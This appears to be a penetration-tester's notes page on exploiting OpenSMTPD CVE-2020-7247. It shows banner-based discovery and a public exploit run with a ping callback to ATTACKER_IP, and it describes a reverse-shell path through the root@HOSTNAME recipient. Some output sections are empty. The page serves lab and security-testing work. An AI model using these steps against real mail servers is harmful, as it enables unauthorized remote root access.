OpenSMTPD
OpenSMTPD on TCP/25 can be vulnerable to CVE-2020-7247 unauthenticated RCE.
Discovery
Look for OpenSMTPD in the SMTP banner or Nmap service output:
telnet TARGET 25Useful indicators:
25/tcp open smtp OpenSMTPD
220 HOSTNAME ESMTP OpenSMTPD
214-2.0.0 This is OpenSMTPDCVE-2020-7247 RCE
Exploit-DB 47984 can confirm command execution with an ICMP callback:
sudo tcpdump -i tun0 icmp
python3 exploit.py HOSTNAME 25 'ping -c 4 ATTACKER_IP'Expected exploit output:
[*] OpenSMTPD detected
[*] Connected, sending payload
[*] Payload sent
[*] DoneExpected callback:
Reverse Shell
The f4T1H21/CVE-2020-7247 exploit worked with a valid local recipient. In the observed successful path, root@HOSTNAME was accepted by the server.
Successful exploit output:
Successful shell:
References
https://www.exploit-db.com/exploits/47984
https://github.com/f4T1H21/CVE-2020-7247
Last updated